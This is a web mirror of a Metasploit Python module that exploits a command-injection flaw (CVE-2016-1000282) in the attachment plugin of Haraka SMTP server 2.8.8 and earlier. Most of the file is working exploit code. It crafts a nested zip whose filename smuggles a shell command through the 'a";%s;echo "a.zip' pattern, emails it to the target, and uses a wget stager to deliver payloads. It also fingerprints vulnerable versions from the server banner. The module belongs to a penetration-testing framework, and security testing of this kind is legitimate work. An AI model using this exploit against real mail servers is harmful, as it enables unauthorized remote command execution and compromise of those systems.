Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/haraka.py
19848 views
1
#!/usr/bin/env python3
2
3
# Vendor Homepage: https://haraka.github.io/
4
# Software Link: https://github.com/haraka/Haraka
5
# Exploit github: http://github.com/outflankbv/Exploits/
6
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
7
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
8
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
9
# Tested versions: 2.8.8 and 2.7.2
10
# Thanks to: Dexlab.nl for asking me to look at Haraka.
11
12
import smtplib
13
import re
14
from email.mime.application import MIMEApplication
15
from email.mime.multipart import MIMEMultipart
16
from email.mime.text import MIMEText
17
import zipfile
18
19
try:
20
# Python 2 plain strings are bytes
21
from StringIO import StringIO as BytesIO
22
except ImportError:
23
from io import BytesIO
24
from metasploit import module
25
from metasploit.version import StrictVersion
26
27
metadata = {
28
"name": "Haraka SMTP Command Injection",
29
"description": """
30
The Haraka SMTP server comes with a plugin for processing attachments.
31
Versions before 2.8.9 can be vulnerable to command injection
32
""",
33
"authors": [
34
"xychix <xychix[AT]hotmail.com>",
35
"smfreegard",
36
"Adam Cammack <adam_cammack[AT]rapid7.com>",
37
],
38
"date": "2017-01-26",
39
"references": [
40
{"type": "cve", "ref": "2016-1000282"},
41
{"type": "edb", "ref": "41162"},
42
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
43
],
44
"type": "remote_exploit_cmd_stager",
45
"rank": "excellent",
46
"wfsdelay": 5,
47
"privileged": True,
48
"targets": [
49
{"platform": "linux", "arch": "x64"},
50
{"platform": "linux", "arch": "x86"},
51
],
52
"payload": {"command_stager_flavor": "wget"},
53
"options": {
54
"email_to": {
55
"type": "string",
56
"description": "Email to send to, must be accepted by the server",
57
"required": True,
58
"default": "admin@localhost",
59
},
60
"email_from": {
61
"type": "string",
62
"description": "Address to send from",
63
"required": True,
64
"default": "[email protected]",
65
},
66
"rhost": {
67
"type": "address",
68
"description": "Target server",
69
"required": True,
70
"default": None,
71
},
72
"rport": {
73
"type": "port",
74
"description": "Target server port",
75
"required": True,
76
"default": 25,
77
},
78
"command": {
79
"type": "string",
80
"description": "Command to run on the target",
81
"required": True,
82
"default": "/bin/echo hello",
83
},
84
},
85
"notes": {"AKA": ["Harakiri"]},
86
}
87
88
89
def send_mail(to, mailserver, cmd, mfrom, port):
90
msg = MIMEMultipart()
91
html = "harakiri"
92
msg["Subject"] = "harakiri"
93
msg["From"] = mfrom
94
msg["To"] = to
95
msg.attach(MIMEText(html))
96
module.log(
97
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
98
% (to, cmd, mailserver),
99
"debug",
100
)
101
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
102
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
103
msg.attach(part)
104
module.log("Sending mail to target server...")
105
module.log(msg.as_string(), "debug")
106
s = smtplib.SMTP(mailserver, port)
107
try:
108
resp = s.sendmail(mfrom, to, msg.as_string())
109
except smtplib.SMTPDataError as err:
110
if err[0] == 450:
111
module.log("Triggered bug in target server (%s)" % err[1], "good")
112
s.close()
113
return True
114
module.log("Bug not triggered in target server", "error")
115
module.log(
116
"it may not be vulnerable or have the attachment plugin activated", "error"
117
)
118
s.close()
119
return False
120
121
122
class InMemoryZip(object):
123
def __init__(self):
124
self.in_memory_zip = BytesIO()
125
126
def append(self, filename_in_zip, file_contents):
127
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
128
zf.writestr(filename_in_zip, file_contents)
129
for zfile in zf.filelist:
130
zfile.create_system = 0
131
return self
132
133
def read(self):
134
self.in_memory_zip.seek(0)
135
return self.in_memory_zip.read()
136
137
138
def create_zip(cmd="touch /tmp/harakiri"):
139
z1 = InMemoryZip()
140
z2 = InMemoryZip()
141
z2.append(
142
"harakiri.txt",
143
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
144
)
145
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
146
return z1.read()
147
148
149
def check_banner(args):
150
module.log(
151
"{}:{} Starting banner check for Haraka < 2.8.9".format(
152
args["rhost"], args["rport"]
153
),
154
level="debug",
155
)
156
c = smtplib.SMTP()
157
try:
158
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
159
except:
160
return "unknown"
161
162
c.quit()
163
164
if code == 220 and "Haraka" in banner:
165
versions = re.findall(r"(\d+\.\d+\.\d+)", banner)
166
if versions:
167
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
168
return "appears"
169
else:
170
return "safe"
171
else:
172
return "detected"
173
elif code == 220:
174
return "detected"
175
else:
176
return "unknown"
177
178
179
def exploit(args):
180
send_mail(
181
args["email_to"],
182
args["rhost"],
183
args["command"],
184
args["email_from"],
185
int(args["rport"]),
186
)
187
188
189
if __name__ == "__main__":
190
module.run(metadata, exploit, soft_check=check_banner)
191
192